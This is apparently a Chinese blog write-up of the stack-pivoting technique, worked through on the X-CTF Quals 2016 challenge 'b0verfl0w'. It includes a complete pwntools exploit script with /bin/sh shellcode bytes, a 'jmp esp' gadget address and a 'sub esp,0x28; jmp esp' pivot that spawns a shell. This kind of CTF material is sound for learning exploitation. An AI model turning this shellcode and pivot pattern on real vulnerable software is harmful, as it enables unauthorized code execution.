• stack pivoting


    stack pivoting 翻为堆栈旋转 操作是利用' jmp esp' 控制程序流程

     X-CTF Quals 2016 - b0verfl0w

    可以溢出并且没有开启NX

    但是这里只允许溢出14位 很难进行rop

    那么可以在栈上布置shelcode

    现在的目标就是让eip跳到栈上shelcode位置

    因为程序本身会开启 ASLR 保护 我们很难知道栈上的地址

    又退栈的时候esp相对shellcode偏移可以计算 也就是0x20+p32(_ebp)+p32(ret_addr)=0x28

    因为eip会返回到ret_addr 我们将‘jmp esp’ 作为ret_addr 那么程序就等价于执行ret_addr的下面一个语句

    找一下jmp

    然后 esp减0x28 然后跳转到esp去执行shellcode

    from pwn import *
    
    io=process('./flow')
    
    shellcode= "x31xc9xf7xe1x51x68x2fx2fx73"
    shellcode+= "x68x68x2fx62x69x6ex89xe3xb0"
    shellcode+= "x0bxcdx80"
    # shellcode=asm(shellcraft.sh())
    
    jmp_esp=0x08048504
    
    sub_esp_jmp=asm('sub esp,0x28;jmp esp')
    
    payload=shellcode+(0x20-len(shellcode))*'A'
    payload+='A'*4+p32(jmp_esp)+sub_esp_jmp
    
    io.sendline(payload)
    
    io.interactive()
     
  • 相关阅读:
    如何编写linux下nand flash驱动-4
    Windows代码heap内存分析实战
    堆内存破坏检测实战--附完整调试过程
    排序算法:冒泡排序
    HDOJ 2802 F(N)
    HDOJ 1715 大菲波数
    HDOJ 1214 圆桌会议
    HDOJ 3466 Proud Merchants
    HDOJ 1215 七夕节
    HDOJ 2073 无限的路
  • 原文地址:https://www.cnblogs.com/lxy8584099/p/11921419.html
Copyright © 2020-2023  润新知